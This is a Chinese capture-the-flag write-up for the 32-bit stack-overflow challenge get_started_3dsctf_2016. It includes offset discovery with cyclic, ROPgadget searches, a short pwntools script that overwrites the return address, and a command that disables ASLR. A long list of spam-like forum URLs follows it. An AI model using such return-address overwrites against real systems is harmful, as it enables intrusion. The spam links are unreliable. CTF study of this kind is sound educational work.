BUUCTF栈溢出实战:get_started_3dsctf_2016

题目概述

BUUCTF中的get_started_3dsctf_2016是一道经典的栈溢出题目,考察基础的ROP(Return-Oriented Programming)利用技巧。题目提供了一个32位ELF程序,存在明显的栈溢出漏洞,目标是通过覆盖返回地址控制程序执行流,最终获取flag。

漏洞分析

使用checksec检查程序保护机制,通常会发现以下情况:

  • NX Enabled:栈不可执行,需通过ROP绕过。
  • No Canary:无栈保护,可直接覆盖返回地址。
  • No PIE:程序基地址固定,便于计算gadget地址。

通过反编译工具(如Ghidra或IDA)分析程序逻辑,可发现main函数调用了存在栈溢出的函数(如getsscanf),且未限制输入长度。

利用步骤

1. 确定偏移量
通过动态调试(如GDB)或静态分析,计算输入缓冲区到返回地址的偏移。常见方法:

  • 使用cyclic生成测试字符串,触发崩溃后通过eip值计算偏移。
  • 示例命令:
    cyclic 200  
    gdb ./get_started_3dsctf_2016  
    run < <(cyclic 200)  
    

2. 构造ROP链
目标通常是调用system("/bin/sh")或读取flag文件。若题目提供了后门函数(如get_flag),可直接覆盖返回地址至该函数。否则需构造完整ROP链:

  • 泄露libc地址(如有必要)。
  • 调用systemexecve

3. 获取gadget地址
使用ROPgadgetropper查找关键指令:

ROPgadget --binary ./get_started_3dsctf_2016 | grep "pop eax"  

关键gadget示例:

  • pop eax; ret:用于设置参数。
  • int 0x80:32位系统调用指令。

4. 编写EXP
以下是一个典型利用脚本(Python3 + pwntools):

from pwn import *

context(arch='i386', os='linux')
elf = ELF('./get_started_3dsctf_2016')

# 假设偏移为140,后门函数地址为0x080489A0
offset = 140
backdoor = 0x080489A0

payload = b'A' * offset + p32(backdoor)

p = remote('node4.buuoj.cn', 12345)  # 替换为实际地址
p.sendline(payload)
p.interactive()

注意事项

  • 若题目环境无/bin/sh,需手动写入字符串到可写内存区域。
  • 32位系统调用需通过int 0x80触发,参数顺序为eax(系统调用号)、ebxecxedx等。
  • 动态调试时注意ASLR影响,本地测试建议关闭ASLR:
    echo 0 | sudo tee /proc/sys/kernel/randomize_va_space  
    

总结

该题目通过栈溢出覆盖返回地址,结合ROP技术实现任意代码执行。核心在于精确计算偏移、合理利用gadget构造调用链。实际比赛中需根据题目环境调整参数,如libc版本、文件路径等。

BbS.okacop020.info/PoSt/1120_212768.HtM
BbS.okacop021.info/PoSt/1120_917719.HtM
BbS.okacop022.info/PoSt/1120_421138.HtM
BbS.okacop023.info/PoSt/1120_010595.HtM
BbS.okacop024.info/PoSt/1120_475951.HtM
BbS.okacop025.info/PoSt/1120_845814.HtM
BbS.okacop026.info/PoSt/1120_369978.HtM
BbS.okacop027.info/PoSt/1120_076852.HtM
BbS.okacop028.info/PoSt/1120_286049.HtM
BbS.okacop029.info/PoSt/1120_373200.HtM
BbS.okacop020.info/PoSt/1120_011043.HtM
BbS.okacop021.info/PoSt/1120_184803.HtM
BbS.okacop022.info/PoSt/1120_531267.HtM
BbS.okacop023.info/PoSt/1120_130686.HtM
BbS.okacop024.info/PoSt/1120_409376.HtM
BbS.okacop025.info/PoSt/1120_473124.HtM
BbS.okacop026.info/PoSt/1120_048904.HtM
BbS.okacop027.info/PoSt/1120_029267.HtM
BbS.okacop028.info/PoSt/1120_909465.HtM
BbS.okacop029.info/PoSt/1120_441692.HtM
BbS.okacop020.info/PoSt/1120_864229.HtM
BbS.okacop021.info/PoSt/1120_790058.HtM
BbS.okacop022.info/PoSt/1120_073984.HtM
BbS.okacop023.info/PoSt/1120_312744.HtM
BbS.okacop024.info/PoSt/1120_219210.HtM
BbS.okacop025.info/PoSt/1120_464860.HtM
BbS.okacop026.info/PoSt/1120_057485.HtM
BbS.okacop027.info/PoSt/1120_090379.HtM
BbS.okacop028.info/PoSt/1120_854860.HtM
BbS.okacop029.info/PoSt/1120_634259.HtM
BbS.okacop030.info/PoSt/1120_446837.HtM
BbS.okacop031.info/PoSt/1120_298570.HtM
BbS.okacop032.info/PoSt/1120_527275.HtM
BbS.okacop033.info/PoSt/1120_891776.HtM
BbS.okacop034.info/PoSt/1120_131814.HtM
BbS.okacop035.info/PoSt/1120_571355.HtM
BbS.okacop036.info/PoSt/1120_947947.HtM
BbS.okacop037.info/PoSt/1120_534533.HtM
BbS.okacop038.info/PoSt/1120_044678.HtM
BbS.okacop039.info/PoSt/1120_943380.HtM
BbS.okacop030.info/PoSt/1120_215151.HtM
BbS.okacop031.info/PoSt/1120_666933.HtM
BbS.okacop032.info/PoSt/1120_831030.HtM
BbS.okacop033.info/PoSt/1120_451815.HtM
BbS.okacop034.info/PoSt/1120_965234.HtM
BbS.okacop035.info/PoSt/1120_602597.HtM
BbS.okacop036.info/PoSt/1120_009346.HtM
BbS.okacop037.info/PoSt/1120_684858.HtM
BbS.okacop038.info/PoSt/1120_348097.HtM
BbS.okacop039.info/PoSt/1120_710905.HtM
BbS.okacop030.info/PoSt/1120_273766.HtM
BbS.okacop031.info/PoSt/1120_889482.HtM
BbS.okacop032.info/PoSt/1120_927856.HtM
BbS.okacop033.info/PoSt/1120_481687.HtM
BbS.okacop034.info/PoSt/1120_832881.HtM
BbS.okacop035.info/PoSt/1120_682115.HtM
BbS.okacop036.info/PoSt/1120_420959.HtM
BbS.okacop037.info/PoSt/1120_759053.HtM
BbS.okacop038.info/PoSt/1120_909618.HtM
BbS.okacop039.info/PoSt/1120_524225.HtM
BbS.okacop030.info/PoSt/1120_107020.HtM
BbS.okacop031.info/PoSt/1120_776970.HtM
BbS.okacop032.info/PoSt/1120_007422.HtM
BbS.okacop033.info/PoSt/1120_306980.HtM
BbS.okacop034.info/PoSt/1120_637069.HtM
BbS.okacop035.info/PoSt/1120_715522.HtM
BbS.okacop036.info/PoSt/1120_141596.HtM
BbS.okacop037.info/PoSt/1120_883750.HtM
BbS.okacop038.info/PoSt/1120_057933.HtM
BbS.okacop039.info/PoSt/1120_349522.HtM
BbS.okacop030.info/PoSt/1120_605748.HtM
BbS.okacop031.info/PoSt/1120_791152.HtM
BbS.okacop032.info/PoSt/1120_097561.HtM
BbS.okacop033.info/PoSt/1120_331599.HtM
BbS.okacop034.info/PoSt/1120_162408.HtM
BbS.okacop035.info/PoSt/1120_438370.HtM
BbS.okacop036.info/PoSt/1120_664277.HtM
BbS.okacop037.info/PoSt/1120_987500.HtM
BbS.okacop038.info/PoSt/1120_227288.HtM
BbS.okacop039.info/PoSt/1120_376509.HtM

#牛客AI配图神器#

全部评论

相关推荐

牛客96763241...:杭电✌️也是打完招呼,没人回吗
点赞 评论 收藏
分享
评论
点赞
收藏
分享

创作者周榜

更多
牛客网
牛客网在线编程
牛客网题解
牛客企业服务